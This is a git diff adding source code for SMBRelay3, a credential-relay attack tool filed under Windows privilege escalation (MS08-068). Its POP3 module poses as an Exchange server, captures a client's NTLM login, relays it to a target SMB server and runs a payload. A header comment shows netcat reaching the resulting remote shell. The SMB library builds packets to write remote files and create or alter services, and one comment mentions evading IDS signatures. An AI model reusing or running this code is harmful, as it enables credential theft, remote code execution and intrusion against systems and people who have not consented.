a/97-Windows提权/MS08-068/src/pop3relay.cpp b/97-Windows提权/MS08-068/src/pop3relay.cpp new file mode 100644 index 0000000..01bac06 --- /dev/null +++ b/97-Windows提权/MS08-068/src/pop3relay.cpp @@ -0,0 +1,220 @@ +/* + SMBRelay3 - POP3 REPLAY ATTACK MODULE + ------------------------------------- + + +C:\smbrelay>nc 192.168.47.128 8080 +Microsoft Windows 2000 [Versin 5.00.2195] +(C) Copyright 1985-2000 Microsoft Corp. + +C:\WINNT\system32> + +*/ + + +#include "pop3relay.h" +#include "payload.h" + +extern int verbose; + +int HandleIncommingPOP3Request(RELAY *relay, char *destinationhostname, int destinationport) +{ + char buffer[4096]; + char buf[4096]; + char buf1[4096]; + char buf2[4096]; + + char CurrentUserName[256]; + char CurrentDomain[256]; + char CurrentWorkstation[256]; + smheader *SmbPacket1, *SmbPacket2, *SmbPacket3, *NegotiateProtocol; + tSmbNtlmAuthRequest *request; + + uint16 packetlen; + int i; + char *p; + const char WelcomeMessage[]= "+OK Microsoft Exchange Server 2003 POP3 server version 6.5.7226.0 (SmbRelay) ready\r\n"; + #define ERRORR "-ERR The specified authentication package is not supported.\r\n" + #define CAPA "+OK Capability list follows\r\nAUTH NTLM\r\n+OK\r\n" + #define AUTH "+OK The operation completed successfully.\r\nNTLM\r\n.\r\n" + #define AUTHOK "+OK User successfully logged on.\r\n" + #define AUTHERROR "-ERR Authentication Failed\r\n" + + + printf("[+] Sending POP3 Banner\n"); + i=SendBytesAndWaitForResponse(relay->source,(char*)WelcomeMessage, (int)strlen(WelcomeMessage), buffer,sizeof(buffer),SMBWAITTIMEOUT); + if (i<=0){ + printf("Error Reading EHLO message\n"); + return(0); + } + + + if (memcmp(buffer,"CAPA",4)==0) { + printf("[+] CAPA Requests\n"); + i=SendBytesAndWaitForResponse(relay->source,(char*)CAPA, strlen(CAPA), buffer,sizeof(buffer),SMBWAITTIMEOUT); + if (i<=0) return(0); + buffer[i]='\0'; + } + if (memcmp(buffer,"AUTH",4)!=0) { + printf("[-] AUTH NTLM packet not received from client\n"); + i=SendBytesAndWaitForResponse(relay->source,(char*)ERRORR, strlen(ERRORR), buffer,sizeof(buffer),SMBWAITTIMEOUT); + return(0); + } else { + printf("[+] Sending AUTH NTLM option to the client\r\n"); + i=SendBytesAndWaitForResponse(relay->source,(char*)AUTH, strlen(AUTH), buffer,sizeof(buffer),SMBWAITTIMEOUT); + if (i<=0) return(0); + buffer[i]='\0'; + } + + if (memcmp(buffer,"AUTH NTLM",9)!=0) { + printf("[-] Not supported option %s received\n",buffer); + return(0); + } + if (strlen(buffer)>12){ + printf("[+] received AUTH NTLM message\n"); + memset((char*)&buf1,'\0',sizeof(buf1)); + packetlen=from64tobits(buf1, buffer+12); + request=(tSmbNtlmAuthRequest *)buf1; + dumpAuthRequest(0,request); + } else { + memset(buffer,'\0',sizeof(buffer)); + i=SendBytesAndWaitForResponse(relay->source,(char*)"+ OK\r\n", 6, buffer,sizeof(buffer),SMBWAITTIMEOUT); + if (i<=0){ + printf("[-] Error Auth response with NTLM type1 packet\n"); + return(0); + } + buffer[i]='\0'; + printf("[+] received AUTH NTLM message\n"); + memset((char*)&buf1,'\0',sizeof(buf1)); + packetlen=from64tobits(buf1, buffer); + request=(tSmbNtlmAuthRequest *)buf1; + + if (debug) { + printf("[+] received AUTH NTLM message: %s\n",buffer); + DumpMem(buf1,packetlen); + dumpAuthRequest(0,request); + } + } + + + //Init Replay Attack + i=ConnectToRemoteHost(relay,destinationhostname,destinationport); + if (!i) { + printf("[-] Unable to connect to remote host %s:%i\n",destinationhostname,destinationport); + return(0); + } + printf("[+] Sending SMB Protocol Authentication Handshake\n"); + p = AddDialect(NULL,"PC NETWORK PROGRAM 1.0",0x02, &i); + p = AddDialect(p,"LANMAN1.0", 0x02,&i); + p = AddDialect(p,"Windows for Workgroups 3.1a", 0x02,&i); + p = AddDialect(p,"LM1.2X002", 0x02,&i); + p = AddDialect(p,"LANMAN2.1", 0x02,&i); + p = AddDialect(p,"NT LM 0.12", 0x02,&i); + NegotiateProtocol=BuildSmbPacket(NULL,NEGOTIATEPROTOCOLREQUEST,0,p,i); + free(p); + i=SendBytesAndWaitForResponse(relay->destination,(char*)NegotiateProtocol,SmbPacketLen(NegotiateProtocol),(char*)buf,sizeof(buf),SMBWAITTIMEOUT); + free(NegotiateProtocol); + if (i<=0){ + printf("[-] Initial SMBHandShake (LanManager Negotiation) Failed\n"); + return(0); + } + + SmbPacket1=BuildSmbPacket1(); + if (debug) { + printf("\n[+] Dumping SMB Packet With NTLM Message Type 1\n"); + DumpMem((char*)SmbPacket1,SmbPacketLen(SmbPacket1)); + } + + SmbPacket2=GetSmbPacket2(relay,SmbPacket1); + if (SmbPacket2==NULL) { + printf("[-] Unable to receive SMB Packet with NTLM Message Type 2\n"); + return(0); + } + printf("[+] Received SMB Message with NTLM message type 2 packet\n"); + memcpy((char*)&packetlen,GetNTLMPacketFromSmbPacket(SmbPacket2)-4,2); + + if (debug) { + printf("[*] SMB Packet Dump:\n"); + DumpMem((char*)SmbPacket2,SmbPacketLen(SmbPacket2)); + printf("[*] NTLM Challenge packet from SMB message\n"); + DumpMem((char*)GetNTLMPacketFromSmbPacket(SmbPacket2),packetlen); + dumpAuthChallenge(0,(tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2)); + } + + ((tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2))->flags=0xb207; + memset(buf1,'\0',sizeof(buf1)); + to64frombits((unsigned char*)&buf1, (unsigned char*)GetNTLMPacketFromSmbPacket(SmbPacket2), packetlen); + sprintf(buf,"+ %s\r\n",buf1); + + printf("[+] Replaying NTLM Challenge from SMB Server to the POP3 Client\n"); + if (debug) + { + printf("[+] Sending SMTP Response: %s\n",buf); + } + i=SendBytesAndWaitForResponse(relay->source,(char*)buf,(int)strlen(buf),(char*)buffer,sizeof(buffer),SMBWAITTIMEOUT); + if (i<=0) + { + printf("[-] Unable to read NTLM packet 3 from POP3 client\n"); + return(0); + } + buffer[i]='\0'; + + if (debug) printf("[*] Response: %s\n",buffer); + memset((char*)&buf1,'\0',sizeof(buf1)); + packetlen=from64tobits(buf1, buffer); + if (debug) { + + printf("[*] Raw authorization packet (len: %i)\n",packetlen); + DumpMem(buf1,packetlen); + dumpAuthResponse(0,(tSmbNtlmAuthResponse*)buf1); + } + + + GetNTLMPacketInfo((tSmbNtlmAuthResponse*)buf1,(char*)&CurrentUserName, (char*)&CurrentDomain, (char*)&CurrentWorkstation,verbose); + printf("[+] Trying to authenticate to remote SMB as %s\n",CurrentUserName); + buildAuthResponse((tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2),(tSmbNtlmAuthResponse*)buf2,0,CurrentUserName,NULL,NULL,CurrentWorkstation, (tSmbNtlmAuthResponse*)buf1); + SmbPacket3=BuildSmbPacket((smheader*)SmbPacket2,SESSIONSETUPANDX,0,buf2,(int)SmbLength((tSmbNtlmAuthResponse *)buf2)); + + + printf("[+] Sending Final SMB Authentication packet with NTLM Message type 3\n"); + if (debug) + { + DumpMem((char*)SmbPacket3, SmbPacketLen(SmbPacket3)); + } + + i=SendBytesAndWaitForResponse(relay->destination,(char*)SmbPacket3, SmbPacketLen(SmbPacket3),(char*)buf,sizeof(buf),SMBWAITTIMEOUT); + if (i<=0){ + printf("[-] Error reading Server Authentication Response\n"); + i=SendBytesAndWaitForResponse(relay->source,AUTHERROR, strlen(AUTHERROR), buffer,sizeof(buffer),SMBWAITTIMEOUT); + return(0); + } + if (debug) { + printf("[*] SessionSetupAndX Completed - Dumping received packet\n"); + DumpMem(buf,i); + } + + if (((smheader*)buf)->NtStatus!=0x00000000) { + printf("[-] SessionSetupAndX Completed\n[-] Authentication against Remote Host Failed\n"); + i=SendBytesAndWaitForResponse(relay->source,AUTHOK, strlen(AUTHERROR), buffer,sizeof(buffer),SMBWAITTIMEOUT); + return(0); + } + if ( ((SessionSetupAndXResponse*)((smheader*)buf)->buffer)->Action & 0x0001 ) + { + printf("[-] Authentication against Remote Host Failed. (Connected as Guest)\n"); + i=SendBytesAndWaitForResponse(relay->source,AUTHERROR, strlen(AUTHERROR), buffer,sizeof(buffer),SMBWAITTIMEOUT); + + return(0); + } + + //WriteDataToReportFile("log.txt", (tSmbNtlmAuthResponse*)buf1, destinationhostname,(unsigned char*)((tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2))->challengeData); + + printf("[+] SessionSetupAndX Completed \n"); + printf("[+] Authenticacion against %s Succeed with username %s\n",destinationhostname,CurrentUserName); + i=SendBytesAndWaitForResponse(relay->source,AUTHOK, strlen(AUTHOK), buffer,sizeof(buffer),SMBWAITTIMEOUT); + ExecuteCode( *relay); + + return(1); + +} + + diff --git a/97-Windows提权/MS08-068/src/pop3relay.h b/97-Windows提权/MS08-068/src/pop3relay.h new file mode 100644 index 0000000..7bb5976 --- /dev/null +++ b/97-Windows提权/MS08-068/src/pop3relay.h @@ -0,0 +1,9 @@ +#ifndef _POP3_RELAY_ +#define _POP3_RELAY_ + +#include "smbrelay.h" + +int HandleIncommingPOP3Request(RELAY *relay, char *destinationhostname,int destinationport); + +#endif + diff --git a/97-Windows提权/MS08-068/src/smb.cpp b/97-Windows提权/MS08-068/src/smb.cpp new file mode 100644 index 0000000..517d0d3 --- /dev/null +++ b/97-Windows提权/MS08-068/src/smb.cpp @@ -0,0 +1,779 @@ +/* $Id$ +SMBRELAY - Small SMB Library packet generation. + +Author: Andres Tarasco - (atarasco at gmail.com ) +URL: http://www.tarasco.org + +This is not a complete library, but its functional for sending special crafted messages needed to perform attacks with smbrelay3 +Lots of improvements need to be done but at this time works for me. +Currently the following messages are supported: + +a) SMB NTLM Authentication (SessionSetupAndX) +b) Connecting To resources (like c$, ipc$, admin$, pipes, ...) (TreeConnectAndX ) +c) Opening remote Files for Writting (by default) and reading (NtCreateAndX) +d) Writting remote files (WriteAndX) +e) Service Control Manager (Connnect, open, start, stop and modify service) + +Data structures have been added by reversing Raw dumps with the help of ethereal disectors. +NOTE: RPCBinds are hardcoded under non WIN32 Enviroments. + +*/ + +#define _CRT_SECURE_NO_DEPRECATE +#include "ntlm.h" +#include "smb.h" +#include "misc.h" +#ifdef WIN32 +#include +#pragma comment (lib,"rpcrt4") +#endif +uint16 UserID=0; +uint16 MultpleID=0; + + void SetEnviroment(uint16 sessionUserID, uint16 sessionTreeID, uint16 sessionFID) { + if (sessionUserID) UserID=sessionUserID; +} +//uint32 test; + +// Services Stub Generation +int InitDataBlock(DataBlock *block,char *data) { + memset(block,'\0',sizeof(DataBlock)); + block->Lenght=strlen(data)+1; + block->MaxLenLow=block->Lenght; + block->MaxLenHigh=0; + chartoWide((char*)block->data,(char*)data,(int)strlen(data) ); + return( sizeof(DataBlock) -sizeof(block->data) + 2*block->Lenght + 2* (block->Lenght%2 ==1) ); +} + +int CreateServiceWStub(char *destionation,char *ContextHandle,char *ServiceName, char *ServiceDescription,char *path, int StartType, int ServiceType){ + + + char *p; + int len1, len2, len3; + CreateServiceWStruct *CreateServiceWMsg=(CreateServiceWStruct *)destionation; + CreateServiceWStruct *Message=(CreateServiceWStruct*)malloc(sizeof(CreateServiceWStruct)); + memset((char*)Message,0,sizeof(CreateServiceWStruct)); + memcpy((char*)Message->ContextHandle,(char*)ContextHandle,20); + + len1=InitDataBlock(&Message->ServiceName,ServiceName); + Message->unknown=0x00020000; + len2=InitDataBlock(&Message->ServiceDescription,ServiceDescription); + Message->unknown1=0x000f01ff; + Message->StartType=StartType; + Message->ServiceType=ServiceType; + //Message->unknown2= + len3=InitDataBlock(&Message->path,path); + + p=(char*)CreateServiceWMsg; + memcpy((char*)p,(char*)Message,sizeof(CreateServiceWStruct)); + p=p + 20 + len1; + memcpy((char*)p ,(char*)&Message->unknown,4 +len2); + p= p + 4 +len2; + memcpy(p,(char*)&Message->unknown1,sizeof(CreateServiceWStruct)); + p = p + 4*4 + len3; + memcpy(p,(char*)&Message->blank,28); + free(Message); + return ( sizeof(CreateServiceWStruct) - sizeof(DataBlock)*3 +len1 + len2 + len3); + free(Message); + +} + + +int ChangeServiceConfigWStub(char *destionation,char *ContextHandle,char *path, int StartType, int ServiceType) { + + ChangeServiceConfigWStruct *ChangeServiceConfigWMessage=(ChangeServiceConfigWStruct *)destionation; + memset((char*)ChangeServiceConfigWMessage,'\0',sizeof(ChangeServiceConfigWStruct)); + memcpy((char*)ChangeServiceConfigWMessage->ContextHandle,(char*)ContextHandle,20); + ChangeServiceConfigWMessage->StartType=StartType; + ChangeServiceConfigWMessage->ServiceType=ServiceType; + ChangeServiceConfigWMessage->unknown1=0x00000000; //maybe error parameter ? + ChangeServiceConfigWMessage->unknown2=0x0000; + ChangeServiceConfigWMessage->unknown3=0x02; + ChangeServiceConfigWMessage->MaxLenLow=strlen(path)+1; + ChangeServiceConfigWMessage->MaxLenHigh=0; + ChangeServiceConfigWMessage->Lenght=strlen(path)+1; + chartoWide((char*)&ChangeServiceConfigWMessage->buffer,(char*)path,(int)strlen(path) ); + return( sizeof(ChangeServiceConfigWStruct) - sizeof(ChangeServiceConfigWMessage->buffer) + ChangeServiceConfigWMessage->MaxLenLow*2 + 2*((((int)strlen((char*)path)+1)%2) ==1)); +} + +int OpenServiceWStub(char *destionation,char *ContextHandle,char *servicename, int flags) +{ + /* + Function: OpenServiceWStub() + Genera el Stub de una llamada OpenServiceW() para incluirlo en un paquete SMB. + Parameters: + [out] OpenServiceAMessage: Stub resultante + [int] ContextHandle: 20 bytes Handle (devuelto en una llamada OpenServiceManager() + [in] Servicename: string que contiene el nombre de servicio a abrir. + [in] flags: Flags de la llamada OpenServiceW() + + Result value: + size of the stub data packet + */ + int len1; + OpenServiceAStruct *OpenServiceAMessage = (OpenServiceAStruct *)destionation; + + memset((char*)OpenServiceAMessage,'\0',sizeof(OpenServiceAStruct)); + len1=InitDataBlock(&OpenServiceAMessage->ServiceName,servicename); + OpenServiceAMessage->flags=flags; + memcpy((char*)OpenServiceAMessage->ContextHandle,(char*)ContextHandle,20); + memcpy((char*)OpenServiceAMessage +20 +len1,&OpenServiceAMessage->flags,4); + return ( 24 +len1);//sizeof(OpenServiceAStruct) - sizeof(OpenServiceAMessage->buffer) + (OpenServiceAMessage->Lenght)*2 ); +} + + +int OpenScManagerWStub(char *destionation, char *data, int flags) +{ + /* + Function: OpenScManagerWStub() - Genera el Stub de una llamada OpenScManagerW() para incluirlo en un paquete SMB. + Parameters: + [out] Mscstruct: Stub resultante + [in] data: string que contiene el nombre de service Manager a abrir. + [in] flags: Flags de la llamada OpenScManagerW() + + Result value: size of the stub data packet + + */ + MSCStruct *Mscstruct=(MSCStruct *)destionation; + memset(Mscstruct,'\0',sizeof(MSCStruct)); + Mscstruct->ReferentID=0x00020000; + Mscstruct->MaxCount=(uint32)strlen((char*)data)+1;//0x07; + Mscstruct->Offset=0; + Mscstruct->ActualCount=(uint32)strlen((char*)data)+1;//0x07; + Mscstruct->Database=0x00000000; + Mscstruct->AccessMask=flags; + + //This data is optional. looks that its not checked + chartoWide((char*)&Mscstruct->lpFileNameW,(char*)data,(int)strlen(data) ); + + memcpy((char*)Mscstruct + sizeof(MSCStruct) - sizeof(Mscstruct->lpFileNameW) -8 + 2*((((int)strlen((char*)data)+1)%2) ==1) +(strlen((char*)data)+1)*sizeof(WCHAR),(char*)&Mscstruct->Database,8 ); + return (24 + (uint32)(strlen((char*)data)+1)*sizeof(WCHAR) + 2*((((int)strlen((char*)data)+1)%2) ==1)); + +} + + + +int BuildTreeConnectAndXStub(char *destination,char *password, char *resource, char *service) +{ + TreeConnectAndX *message=(TreeConnectAndX*)destination; + smheader *foo; + message->WordCount=(uint16)4; + message->AndXCommand=0xff; + message->reserved2=0; + message->AndXOffset = sizeof(TreeConnectAndX) + strlen(password) + strlen(service)+1 + (strlen((char*)resource)+1)*sizeof(WCHAR) + sizeof(smheader) - sizeof(foo->buffer) -4; + message->flags=0x8; + message->PasswordLen=strlen(password)+1; + message->ByteCount = (strlen(resource)+1 )*sizeof(WCHAR) + message->PasswordLen +strlen(service)+1; + memcpy((char*)&message->Password,password,message->PasswordLen); + chartoWide((char*)&message->Password + message->PasswordLen,(char*)resource,(int)strlen((char*)resource) +1 ); + memcpy(destination+sizeof(TreeConnectAndX) + (strlen((char*)resource)+1)*sizeof(WCHAR) ,service,strlen(service)+1);//"\x3f\x3f\x3f\x3f\x3f\x00",6); + + return( sizeof(TreeConnectAndX) + strlen(password) + strlen(service)+1 + (strlen((char*)resource)+1)*sizeof(WCHAR) ); + +} + +char *AddDialect(char *data, char *name, uint8 type, int *PacketSize) { + + if (!data) { + *PacketSize=0; + data=(char*)malloc(strlen(name)+2); + } else { + data=(char*)realloc(data, *PacketSize +2 + strlen(name)); + } + //printf("PacketSize vale: %i\n",*PacketSize); + data[*PacketSize]=type; + strcpy((char*)&data[*PacketSize+1],name); + *PacketSize+=2+strlen(name); + return(data); +} + + +#ifdef WIN32 +CtxItem *AddBinddingInformation(CtxItem *CurrentCtx, char *Abstract, char *Transfer, int MayorVersion, int MinorVersion,int *PacketSize) +{ + CtxItem *ctx=CurrentCtx; + int i=0; + if (!ctx){ + ctx=(CtxItem*)malloc(sizeof(CtxItem)); + *PacketSize=0; + } else { + ctx=(CtxItem*)realloc(ctx,*PacketSize +sizeof(CtxItem)); + } + + i=*PacketSize/sizeof(CtxItem); + *PacketSize+=sizeof(CtxItem); + ctx[i].ContextID=i; + ctx[i].NumberOfTransItems=1; + ctx[i].padding=0; + ctx[i].AbstractSyntaxis.MayorVersion=MayorVersion; + ctx[i].AbstractSyntaxis.MinorVersion=MinorVersion; + UuidFromStringA((unsigned char *)Abstract, (UUID *) &ctx[i].AbstractSyntaxis.uuid[0]); + ctx[i].TransferSyntaxis.MayorVersion=MayorVersion; + ctx[i].TransferSyntaxis.MinorVersion=MinorVersion; + UuidFromStringA((unsigned char *)Transfer, (UUID *)&ctx[i].TransferSyntaxis.uuid[0]); + return(ctx); +} +#endif + +smheader *BuildSmbPacket(smheader *PreviousSmbMessage,uint8 SmbCommand,uint8 SubCommand, void *data, int DataSize) +{ + + + smheader *NewSmbPacket; + WCHAR tail1[18]; + WCHAR tail2[17]; + + //Parameters Supported: + SessionSetupAndX *SessionSetupAndXMessage; + SessionSetupAndXResponse *SessionSetupAndXResponseMessage; +// TreeConnectAndX *TreeConnectAndXMessage; + FIND_FIRST2 *FIND_FIRST2Message; + NTCreateAndX *NTCreateAndXMessage; + WriteAndX *WriteAndXMessage; + SMB_COM_TRANSACTION_STRUCT *TransRequest;// + ReadAndX *ReadAndXMessage; + CLOSE *CloseMessage; + + //dce + DceRpcBind *dcerpcbind; +// CtxItem *ctx; + DceRpcRequest *dcerpc; + + //other variables + WCHAR lpFileNameW[256]; +// int i,j; + + + + NewSmbPacket=(smheader*)malloc(sizeof(smheader)); + memset((char*)NewSmbPacket,'\0',sizeof(smheader)); + NewSmbPacket->SmbMessageType=0x0000; + + //0xFF for SMBv1 and 0xFE for SMBv2 (TODO) + memcpy((char*)NewSmbPacket->ProtocolHeader,"\xff\x53\x4d\x42",4); //"?SMB" + NewSmbPacket->SmbCommand=SmbCommand; + NewSmbPacket->flags=0x18; + NewSmbPacket->flags2=0xc803; //LOWEST SMB FLAGS with Unicode + //NewSmbPacket->flags2=0x4803; +// NewSmbPacket->flags2=0xc802; + + NewSmbPacket->ProccessID=0xfeff; + //NewSmbPacket->ProccessID=6666; +/* + if (SmbCommand==SESSIONSETUPANDX) { //Init UserID value + if (PreviousSmbMessage!=NULL) { + UserID=PreviousSmbMessage->UserID; + printf("estableciendo UserID: %i\n",UserID); + } + } + */ + + NewSmbPacket->UserID=UserID; + NewSmbPacket->multipleID=MultpleID; + MultpleID+=64; + + + if (DataSize > sizeof(NewSmbPacket->buffer)) { + NewSmbPacket=(smheader*)realloc(NewSmbPacket,sizeof(smheader) + DataSize); + + } + + + + switch(SmbCommand) + { + + case NEGOTIATEPROTOCOLREQUEST: + UserID=0; + MultpleID=0; + if (SubCommand==CONTINUERESPONSE) { + /* + Generates an SMB Negotiate Protocol Response. + This packet is needed when acting as an SMB Server. + NOTE: If the original reponse from the client is sent, the server could force logoff due to kerberos authentication failure. + so we need to create our own packet with an unknown Computer GUID + */ + NewSmbPacket->flags=0x98; + NegotiateProtocolResponse *NegotiateProtocolResponseMessage; + NegotiateProtocolResponseMessage=(NegotiateProtocolResponse *)malloc(sizeof(NegotiateProtocolResponse)); + memset((char*)NegotiateProtocolResponseMessage,'\0',sizeof(NegotiateProtocolResponse)); + NewSmbPacket->SmbMessageLength=SREV(85); + NegotiateProtocolResponseMessage->WordCount=17; + NegotiateProtocolResponseMessage->DialecIndex=5; //grater than lanman2.1 + NegotiateProtocolResponseMessage->SecurityMode=0x03; // User Security Mode + Password encrypted + NegotiateProtocolResponseMessage->MaxMxpCount=50; + NegotiateProtocolResponseMessage->MaxVcs=1; + NegotiateProtocolResponseMessage->MaxBufferSize=16644; + NegotiateProtocolResponseMessage->MaxRawBuffer=65536; + NegotiateProtocolResponseMessage->SessionKey=0x00000000; + NegotiateProtocolResponseMessage->Capabilities=0x8001f3fd; + //FIX and set a valid ServerTime. + //NegotiateProtocolResponseMessage->ServerTime=0; + NegotiateProtocolResponseMessage->ServerTimeZone=0x0000; + NegotiateProtocolResponseMessage->KeyLength=0; + NegotiateProtocolResponseMessage->ByteCount=16; + //TODO: Generate Random SMBRELAY Server GUID. + //change it to avoid IDS Signatures :) + memcpy(NegotiateProtocolResponseMessage->ServerGuid,"\xef\xea\x7f\x5b\xe2\x0a\x4e\x4d\xad\xee\xa6\\x29\x15\\xab",16); + memcpy(NewSmbPacket->buffer,(char*)NegotiateProtocolResponseMessage,sizeof(NegotiateProtocolResponse)); + free(NegotiateProtocolResponseMessage); + + } else {/* Generates an SMB Negotiate Protocol Response. This packet is needed when acting as an SMB Client. */ + NegotiateProtocolRequest* NegotiateProtocolRequestMessage; + NegotiateProtocolRequestMessage=(NegotiateProtocolRequest *)malloc(sizeof(NegotiateProtocolRequest)); + memset((char*)NegotiateProtocolRequestMessage,'\0',sizeof(NegotiateProtocolRequest)); + NewSmbPacket->SmbMessageLength=SREV(35 + DataSize); + if (DataSize > ( sizeof(NewSmbPacket->buffer) - sizeof(NegotiateProtocolRequest) + sizeof(DIALECT*) )) + { + NewSmbPacket=(smheader*)realloc(NewSmbPacket,sizeof(smheader) -sizeof(NewSmbPacket->buffer) + sizeof(NegotiateProtocolRequest) +DataSize ); + + } + NegotiateProtocolRequestMessage->WordCount=0; + NegotiateProtocolRequestMessage->ByteCount=DataSize; + memcpy(NewSmbPacket->buffer,(char*)NegotiateProtocolRequestMessage,sizeof(NegotiateProtocolRequest)-sizeof(DIALECT*) ); + memcpy(NewSmbPacket->buffer + sizeof(NegotiateProtocolRequest)-sizeof(DIALECT*) ,data, DataSize); + free(NegotiateProtocolRequestMessage); + } + break; + + case FINDFIRST2: + + FIND_FIRST2Message=(FIND_FIRST2 *)malloc(sizeof(FIND_FIRST2)); + if (DataSize > sizeof(NewSmbPacket->buffer)) { + NewSmbPacket=(smheader*)realloc(NewSmbPacket,sizeof(smheader) + DataSize); + + } + memset((char*)FIND_FIRST2Message,'\0',sizeof(FIND_FIRST2)); + NewSmbPacket->SmbMessageLength=SREV (sizeof(smheader)- sizeof(NewSmbPacket->buffer) +sizeof(FIND_FIRST2) -sizeof(FIND_FIRST2Message->SearchPattern) + (DataSize+1)*2 -4 ); + if (PreviousSmbMessage!=NULL){ + NewSmbPacket->TreeId=((smheader *)PreviousSmbMessage)->TreeId; + } + + FIND_FIRST2Message->WordCount=15; + FIND_FIRST2Message->TotalParameterCount=18; + FIND_FIRST2Message->TotalDataCount=0; + FIND_FIRST2Message->MaxParameterCount=10; + FIND_FIRST2Message->MaxDataCount=16384; + FIND_FIRST2Message->MaxSetupCount=0; + FIND_FIRST2Message->reserved=0; + FIND_FIRST2Message->flags=0x0000; + FIND_FIRST2Message->timeout=0; //No Timeout + FIND_FIRST2Message->reserved2=0; + FIND_FIRST2Message->ParameterCount=12 + (DataSize+1)*2;//18; //sizeo of Find_First2 struct + FIND_FIRST2Message->ParameterOffset=68; //default offset. We are only sending static messages + FIND_FIRST2Message->DataCount=0; + FIND_FIRST2Message->DataOffset=0; + FIND_FIRST2Message->SetupCount=1; + FIND_FIRST2Message->reserved3=0; + FIND_FIRST2Message->SubCommand=0x01; //FIND_FIRST2 + //4 setfs quote + FIND_FIRST2Message->ByteCount=3+ 12 + (DataSize+1)*2;//21; //sizeof(->find_First2 + Padding ) + + FIND_FIRST2Message->SearchAttributes=0x16; + FIND_FIRST2Message->SearchCount=1366; + FIND_FIRST2Message->Searchflags=0x0006; + FIND_FIRST2Message->LevelOfInterest=260; + FIND_FIRST2Message->StorageType=0; + + FIND_FIRST2Message->SearchPattern=(uint8*)malloc((DataSize+1)*2); + memset(FIND_FIRST2Message->SearchPattern,'\0',(DataSize+1)*2); + + chartoWide((char*)FIND_FIRST2Message->SearchPattern,(char*)data,DataSize ); + //memcpy((char*)&FIND_FIRST2Message->SearchAttributes,(char*)FIND_FIRST2Message->SearchPattern,12 ); + /* + memcpy((char*)&FIND_FIRST2Message->SearchPattern[0],(char*)data,DataSize ); + memcpy((char*)&FIND_FIRST2Message->SearchPattern[DataSize],(char*)data,DataSize ); + */ + + + memcpy(NewSmbPacket->buffer,(char*)FIND_FIRST2Message, 48);// + (DataSize+1)*2);//sizeof(FIND_FIRST2)); + memcpy(NewSmbPacket->buffer +48,(char*)FIND_FIRST2Message->SearchPattern, (DataSize+1)*2);// + free(FIND_FIRST2Message); + free(FIND_FIRST2Message->SearchPattern); + break; + + case NTCREATEANDX: + NTCreateAndXMessage=(NTCreateAndX *)malloc(sizeof(NTCreateAndX)); + memset((char*)NTCreateAndXMessage,'\0',sizeof(NTCreateAndX)); + NewSmbPacket->SmbMessageLength=(uint16)SREV (sizeof(smheader)-sizeof(NewSmbPacket->buffer) +sizeof(NTCreateAndX) + (strlen((char*)data)+1)*sizeof(WCHAR) -4 ); + + NewSmbPacket->TreeId=((smheader *)PreviousSmbMessage)->TreeId; + NTCreateAndXMessage->WordCount=24; + NTCreateAndXMessage->AndXCommand=0xff; //0xff no further command + NTCreateAndXMessage->reserved2=0; + NTCreateAndXMessage->AndXOffset=0xdede; + NTCreateAndXMessage->FilenameLen=(uint16)(strlen((char*)data))*sizeof(WCHAR); + NTCreateAndXMessage->CreationFlags=0x16; + NTCreateAndXMessage->RootFID=0; + + //We call readFileToSend with response+1 because filename is in the following format " \ + filename" + NTCreateAndXMessage->AllocationSize=DataSize;//ReadFileToSend(NULL,(char*)data+1); + NTCreateAndXMessage->AllocationSizeHigh=0; + NTCreateAndXMessage->Impersonation=0x02; + NTCreateAndXMessage->SecurityFlags=0x03; + + if (DataSize==0){ //pipe + NTCreateAndXMessage->ShareAccess=0x03; //SHARE_READ & SHARE_WRITE + NTCreateAndXMessage->Disposition=0x01; + NTCreateAndXMessage->CreateOptions=0x00400040; + NTCreateAndXMessage->AccessMask=0x0002019f; + NTCreateAndXMessage->FileAttributes=0; + } else { //file + NTCreateAndXMessage->ShareAccess=0; + NTCreateAndXMessage->Disposition=0x05; //overwrite + create + NTCreateAndXMessage->CreateOptions=0x44; + NTCreateAndXMessage->AccessMask=0x30196; + NTCreateAndXMessage->FileAttributes=0x20; + } + + NTCreateAndXMessage->ByteCount=NTCreateAndXMessage->FilenameLen+2+1; //Append wideNullChar and 1 extra byte + NTCreateAndXMessage->padding=0; + memcpy(NewSmbPacket->buffer,(char*)NTCreateAndXMessage,sizeof(NTCreateAndX)); + + memset((char*)lpFileNameW,'\0',sizeof(lpFileNameW)); + // mbstowcs(lpFileNameW,(char*)data,strlen((char*)data) ); + chartoWide((char*)lpFileNameW,(char*)data,(int)strlen((char*)data) ); +#ifdef _DBG_ + printf("Data: %S\n",lpFileNameW); +#endif + memcpy(NewSmbPacket->buffer+sizeof(NTCreateAndX),(char*)lpFileNameW,(strlen((char*)data)+1)*sizeof(WCHAR) ); + free(NTCreateAndXMessage); + break; + + + + + case SMBCLOSE: + CloseMessage=(CLOSE *)malloc(sizeof(CLOSE)); + memset((char*)CloseMessage,'\0',sizeof(CLOSE)); + + NewSmbPacket->SmbMessageLength=SREV (sizeof(smheader)-sizeof(NewSmbPacket->buffer) +sizeof(CLOSE) -4 ); + + CloseMessage->ByteCount=0; + CloseMessage->WordCount=3; + CloseMessage->LastWrite=0xFFFFFFFF; + memcpy((char*)&CloseMessage->FID,(char*)data,2); + memcpy(NewSmbPacket->buffer,(char*)CloseMessage,sizeof(CLOSE)); + free(CloseMessage); + break; + + + + case READANDX: + ReadAndXMessage=(ReadAndX *)malloc(sizeof(ReadAndX)); + memset((char*)ReadAndXMessage,'\0',sizeof(ReadAndX)); + NewSmbPacket->SmbMessageLength=SREV (sizeof(smheader)-sizeof(NewSmbPacket->buffer) +sizeof(ReadAndX) -4 ); + NewSmbPacket->TreeId=((smheader *)PreviousSmbMessage)->TreeId; + + ReadAndXMessage->WordCount=12; + ReadAndXMessage->AndXCommand=0xff; //0xff no further command + ReadAndXMessage->reserved2=0x00; + ReadAndXMessage->AndXOffset=0xdede; + //ReadAndXMessage->FID este valor lo rellenamos fuera dado que aqui no tenemos la informacin necesaria. Es el identificador del ultimo fichero abierto. + /* + NTCreateAndXMessage = (NTCreateAndX*)SmbMessage->buffer; + memcpy(&ReadAndXMessage->FID,(char*)NTCreateAndXMessage+6,2); + */ + // printf("FID: %4.4x\n",ReadAndXMessage->FID); + ReadAndXMessage->offset=0x00000000; + 